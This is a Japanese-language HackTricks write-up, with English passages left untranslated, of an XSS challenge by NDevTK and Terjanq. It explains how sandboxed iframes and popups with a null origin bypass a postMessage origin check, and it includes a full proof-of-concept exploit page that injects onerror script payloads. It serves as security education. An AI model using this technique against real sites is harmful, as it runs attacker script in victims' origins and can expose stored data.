8.4 KiB
SOPをIframesでバイパスする - 1
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 DiscordグループまたはTelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してください。
SOP-1におけるIframes
このチャレンジは、NDevTKとTerjanqによって作成され、XSSを悪用する必要があります。
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
The main problem is that the main page uses DomPurify to send the data.body
, so in order to send your own html data to that code you need to bypass e.origin !== window.origin
.
Let's see the solution they propose.
SOP bypass 1 (e.origin === null)
When //example.org
is embedded into a sandboxed iframe, then the page's origin will be null
, i.e. window.origin === null
. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
we could force the null
origin.
If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None
).
SOP bypass 2 (window.origin === null)
The lesser known fact is that when the sandbox value allow-popups
is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox
is set.
So, opening a popup from a null origin will make window.origin
inside the popup also null
.
Challenge Solution
Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php
), as window.origin === e.origin
because both are null
it's possible to send a payload that will exploit the XSS.
That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php
. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin
is not satisfied (remember, the origin is the popup from the iframe which has origin null
) because data.identifier === identifier
. Then, the XSS will trigger again, this time in the correct origin.
主な問題は、メインページがDomPurifyを使用してdata.body
を送信するため、独自のHTMLデータをそのコードに送信するには、e.origin !== window.origin
をバイパスする必要があることです。
彼らが提案する解決策を見てみましょう。
SOPバイパス1 (e.origin === null)
//example.org
がサンドボックス化されたiframeに埋め込まれると、ページのオリジンは**null
になります。つまり、window.origin === null
です。したがって、<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
を介してiframeを埋め込むだけで、null
オリジンを強制**することができます。
ページが埋め込み可能であれば、その方法でその保護をバイパスできます(クッキーもSameSite=None
に設定する必要があるかもしれません)。
SOPバイパス2 (window.origin === null)
あまり知られていない事実は、サンドボックス値allow-popups
が設定されている場合、開かれたポップアップは、allow-popups-to-escape-sandbox
が設定されていない限り、すべてのサンドボックス属性を継承することです。
したがって、nullオリジンからポップアップを開くと、ポップアップ内の**window.origin
もnull
**になります。
チャレンジ解決策
したがって、このチャレンジのために、iframeを作成し、脆弱なXSSコードハンドラー(/iframe.php
)を持つページにポップアップを開くことができます。window.origin === e.origin
であるため、両方がnull
であれば、XSSを悪用するペイロードを送信することが可能です。
そのペイロードは識別子を取得し、XSSをトップページ(ポップアップを開いたページ)に戻します。それは、脆弱な/iframe.php
に位置を変更します。識別子が知られているため、条件window.origin === e.origin
が満たされていないことは問題ではありません(オリジンはオリジンが**null
のiframeからのポップアップ**であることを思い出してください)ので、data.identifier === identifier
です。次に、XSSが再びトリガーされます。今度は正しいオリジンで。
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
{% hint style="success" %}
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- ハッキングのトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。